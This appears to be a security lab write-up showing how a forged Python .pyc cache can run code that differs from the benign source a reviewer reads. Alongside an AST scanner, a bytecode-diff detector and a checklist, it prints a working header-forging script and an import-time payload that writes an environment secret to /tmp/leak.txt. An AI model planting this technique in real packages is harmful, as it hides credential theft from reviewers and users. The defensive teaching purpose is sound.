The Python Bytecode Blind Spot: when the source you scan isn't the code that runs
Here is a mental-model bug worth a lot of money to an attacker: “I read the
source, it’s fine.” Most supply-chain review — human eyes, AST linters, the
scanners bolted into CI — reads a package’s .py files. But CPython doesn’t
execute your source. It executes bytecode. And the two can be made to
disagree.
An empirical study this month analyzed over a million PyPI artifacts and gave this divergence a name: the inspection-execution gap — the distance between what source-level analysis sees and what the interpreter actually runs. It lands in the middle of a live supply-chain wave (a recent campaign shipped hundreds of malicious npm packages carrying a cross-platform RAT), which makes “how does malicious code hide from a scanner” an immediately practical question.
This lab builds the gap end to end: a package that looks harmless, a source scanner that certifies it clean by construction, and a bytecode-aware check that catches what the source scanner cannot. Everything below is copied verbatim from the lab; you can clone it and reproduce every verdict.
A 20-line package that looks harmless
Here is the entire package a reviewer sees. It greets people. It touches no environment variables, opens no files, imports nothing.
labs/lab-python-bytecode-blindspot/friendly/__init__.py:
"""A friendly little package. Greets people. Nothing more."""
GREETING = "Hello"
def greet(name):
return f"{GREETING}, {name}!"
There is genuinely nothing wrong with that file. A source reviewer is not being
careless when they wave it through — the source is clean. The problem is that
this .py is not what runs.
Where the gap comes from
When you import friendly, CPython looks for a cached, precompiled
__pycache__/__init__.cpython-3XX.pyc. If the cache’s header says it is still
valid for the paired source, the interpreter loads that bytecode and never
recompiles the .py at all. The validity check is the weak link: in the
default timestamp mode, the header is just the source’s modification time and
size. Forge a header that matches, and the interpreter trusts stale — or
hostile — bytecode.
So the lab ships a second source file, never importable as friendly, that
carries the real behavior. Same greet(), plus a payload that runs at import
time.
labs/lab-python-bytecode-blindspot/payload_source.py:
"""Looks just like `friendly` — same greet() — but its compiled form
leaks an environment secret to a file the moment it is imported.
This file is never imported as `friendly`. It exists only to be compiled
into `friendly`'s __pycache__ by build_pyc.py, so the shipped bytecode
diverges from the benign source a reviewer reads. This is a teaching
artifact: the only effect is writing a fake secret to a local temp file.
"""
import os
GREETING = "Hello"
def greet(name):
return f"{GREETING}, {name}!"
# Executes at import time — the classic supply-chain trigger.
_secret = os.environ.get("FANCY_SECRET", "")
if _secret:
with open("/tmp/leak.txt", "w") as _f:
_f.write(_secret)
The trick is a small one, and it is the whole attack. Compile that file, but
stamp its .pyc with a header that describes the benign __init__.py:
labs/lab-python-bytecode-blindspot/build_pyc.py:
"""Compile payload_source.py into friendly's __pycache__ with a forged
timestamp header, so the interpreter loads the payload bytecode on import
instead of recompiling the benign source."""
import importlib.util
import marshal
import os
import struct
def build_pyc(bytecode_source_path, header_source_path, out_path):
code = compile(
open(bytecode_source_path).read(), header_source_path, "exec"
)
st = os.stat(header_source_path)
header = (
importlib.util.MAGIC_NUMBER
+ struct.pack("<I", 0) # flags: timestamp-based invalidation
+ struct.pack("<I", int(st.st_mtime) & 0xFFFFFFFF)
+ struct.pack("<I", st.st_size & 0xFFFFFFFF)
)
os.makedirs(os.path.dirname(out_path), exist_ok=True)
with open(out_path, "wb") as fh:
fh.write(header + marshal.dumps(code))
return out_path
The header is built from os.stat of the benign source (header_source_path
is friendly/__init__.py), while the code object is compiled from
payload_source.py. The interpreter compares that forged header against the
benign source it can see, finds a match, and loads the payload. On import,
FANCY_SECRET is read and written to /tmp/leak.txt — a fake secret to a temp
file inside a throwaway container, no network egress, but the shape is exactly
the real thing.
Nothing opaque is committed to the repo: the .pyc is a build artifact,
regenerated at Docker build time from a source file you can read.
The scanner that is blind by construction
Now the review tooling. scan_source.py is not a strawman — it walks the AST
and flags env access, file writes, risky imports, and dangerous builtins.
labs/lab-python-bytecode-blindspot/scan_source.py:
"""AST scanner for Python source. Flags env access, file writes, and risky
imports. It is thorough — and still blind to anything not in the .py it reads."""
import ast
import os
from dataclasses import dataclass
SUSPICIOUS_CALLS = {"open", "eval", "exec", "compile", "__import__"}
SUSPICIOUS_ATTRS = {"environ", "getenv", "system", "popen", "write", "connect"}
SUSPICIOUS_MODULES = {"os", "subprocess", "socket", "requests", "urllib"}
@dataclass
class Finding:
file: str
kind: str
detail: str
def scan_source_file(path):
tree = ast.parse(open(path).read(), path)
findings = []
for node in ast.walk(tree):
if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
if node.func.id in SUSPICIOUS_CALLS:
findings.append(Finding(path, "call", node.func.id))
if isinstance(node, ast.Attribute) and node.attr in SUSPICIOUS_ATTRS:
findings.append(Finding(path, "attr", node.attr))
if isinstance(node, ast.Import):
for alias in node.names:
if alias.name.split(".")[0] in SUSPICIOUS_MODULES:
findings.append(Finding(path, "import", alias.name))
if isinstance(node, ast.ImportFrom):
root = (node.module or "").split(".")[0]
if root in SUSPICIOUS_MODULES:
findings.append(Finding(path, "import", node.module))
return findings
Run it against friendly/ and it reports the package clean — correctly.
It read every .py and there was nothing to find. The payload was never in a
.py it scans; it lives in the .pyc. This is the point that lands harder
with an AST scanner than with grep: the review looks thorough, walks every
node, checks every category — and still misses everything, because it is
looking in the wrong artifact.
The check that catches it
The fix is to stop trusting the source as a proxy for behavior and compare it
against what actually ships. scan_bytecode.py recompiles the source in
memory, diffs the resulting code object against the shipped .pyc, and — only
on a mismatch — disassembles the shipped bytecode to name what it really does.
labs/lab-python-bytecode-blindspot/scan_bytecode.py:
"""Bytecode-aware scanner: diff a module's source against its shipped .pyc,
then disassemble any mismatch to name what the compiled form actually does."""
import importlib.util
import marshal
from dataclasses import dataclass
SUSPICIOUS_NAMES = {
"environ", "getenv", "system", "popen", "open", "write", "connect", "socket",
}
@dataclass
class ScanResult:
module: str
mismatch: bool
suspicious: list
def load_pyc_code(pyc_path):
with open(pyc_path, "rb") as fh:
fh.read(16) # skip the 16-byte pyc header (PEP 552)
return marshal.load(fh)
def find_suspicious(code, acc=None):
acc = [] if acc is None else acc
for name in code.co_names:
if name in SUSPICIOUS_NAMES:
acc.append(name)
for const in code.co_consts:
if isinstance(const, str) and const.startswith("/tmp"):
acc.append("path:" + const)
if hasattr(const, "co_code"): # nested code object
find_suspicious(const, acc)
return acc
def scan_module(py_path, pyc_path=None):
pyc_path = pyc_path or importlib.util.cache_from_source(py_path)
shipped = load_pyc_code(pyc_path)
recompiled = compile(open(py_path).read(), py_path, "exec")
mismatch = (
shipped.co_code != recompiled.co_code
or set(shipped.co_names) != set(recompiled.co_names)
)
suspicious = find_suspicious(shipped) if mismatch else []
# de-dupe while preserving order
suspicious = list(dict.fromkeys(suspicious))
return ScanResult(py_path, mismatch, suspicious)
Two things make this robust rather than a party trick. First, the mismatch test
is shipped.co_code != recompiled.co_code — a real comparison against the
bytecode the interpreter would produce from the source, not a hardcoded verdict.
The lab’s test suite proves this by regenerating the .pyc from the benign
source and confirming the scanner then reports clean; the check keys on genuine
divergence. Second, find_suspicious recurses into nested code objects
(co_consts that themselves have co_code), so a payload hidden inside a
function body is still named — here it surfaces environ, open, write, and
the /tmp/leak.txt path pulled straight from the bytecode’s constants.
Seeing the contrast
run_scanners.py runs both against the same package and prints the two
verdicts side by side.
labs/lab-python-bytecode-blindspot/run_scanners.py:
"""Run both scanners against `friendly` and print the contrast."""
import scan_bytecode
import scan_source
def main():
print("== Source-only scanner (AST) ==")
findings = scan_source.scan_package("friendly")
if findings:
for f in findings:
print(f" FLAG {f.kind}: {f.detail} ({f.file})")
print(" VERDICT: SUSPICIOUS")
else:
print(" Read every .py in friendly/. Nothing suspicious.")
print(" VERDICT: CLEAN")
print()
print("== Bytecode-aware scanner ==")
result = scan_bytecode.scan_module("friendly/__init__.py")
if result.mismatch:
print(f" Source/bytecode MISMATCH in {result.module}")
print(f" The shipped .pyc actually does: {', '.join(result.suspicious)}")
print(" VERDICT: SUSPICIOUS")
else:
print(" Shipped bytecode matches the source.")
print(" VERDICT: CLEAN")
return 0
if __name__ == "__main__":
raise SystemExit(main())
The lab is a single container. docker compose up --build prints the source
scanner reporting friendly CLEAN and the bytecode scanner reporting a
source/bytecode MISMATCH that names the hidden behavior; docker compose run --rm lab pytest -q runs the assertion suite, including the
regenerate-from-benign-source test that flips the bytecode scanner back to
clean. The full run steps are in the
lab README.
A practical checklist
- Don’t equate source with behavior. A clean AST scan of a
.pysays nothing about the.pycthe interpreter will load. If your pipeline reviews source and ships pre-built caches, you have this gap. - Recompile and diff. Compile the source you reviewed and compare the code
object against any shipped
.pyc. A mismatch is the signal; you don’t need to understand the payload to reject it. - Disassemble on mismatch.
dis,marshal, andco_names/co_constsare standard library — you can name what compiled code references without running it, and recurse into nested code objects so nothing hides in a function body. - Never trust a shipped
.pyc. Prefer building bytecode yourself from reviewed source. A precompiled cache in a package is a thing to regenerate, not a thing to run.
Two honest limits. This is detection, not prevention — it tells you the
shipped code disagrees with the source, and leaves policy up to you. And it is
one round in an arms race: obfuscation, alternate .pyc invalidation modes, and
payloads assembled at runtime all raise the bar. But the core discipline holds
regardless of how deep the obfuscation goes: audit what runs, not just what
reads well.